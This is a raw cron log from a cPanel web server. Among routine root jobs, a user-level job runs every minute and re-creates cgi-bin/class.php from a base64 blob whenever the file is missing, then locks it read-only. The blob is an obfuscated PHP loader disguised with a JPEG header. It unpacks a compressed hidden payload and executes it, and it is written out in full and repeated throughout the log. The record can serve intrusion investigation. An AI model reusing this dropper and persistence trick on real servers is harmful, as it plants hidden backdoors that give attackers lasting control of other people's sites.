Nov 13 12:47:01 server CROND[21209]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:48:01 server CROND[22067]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:49:01 server CROND[22949]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:50:01 server CROND[23823]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 12:50:01 server CROND[23829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:50:01 server CROND[23835]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 12:50:01 server CROND[23836]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 12:50:01 server CROND[23841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:51:01 server CROND[24760]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:52:01 server CROND[25602]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:53:01 server CROND[26683]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:54:01 server CROND[27391]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:55:01 server CROND[28262]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 12:55:01 server CROND[28263]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:55:01 server CROND[28264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:56:01 server CROND[28808]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:57:01 server CROND[29685]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 12:57:01 server CROND[29686]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:58:02 server CROND[30556]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:59:01 server CROND[31088]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:00:01 server CROND[32116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 13:00:01 server CROND[32118]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 13:00:01 server CROND[32119]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
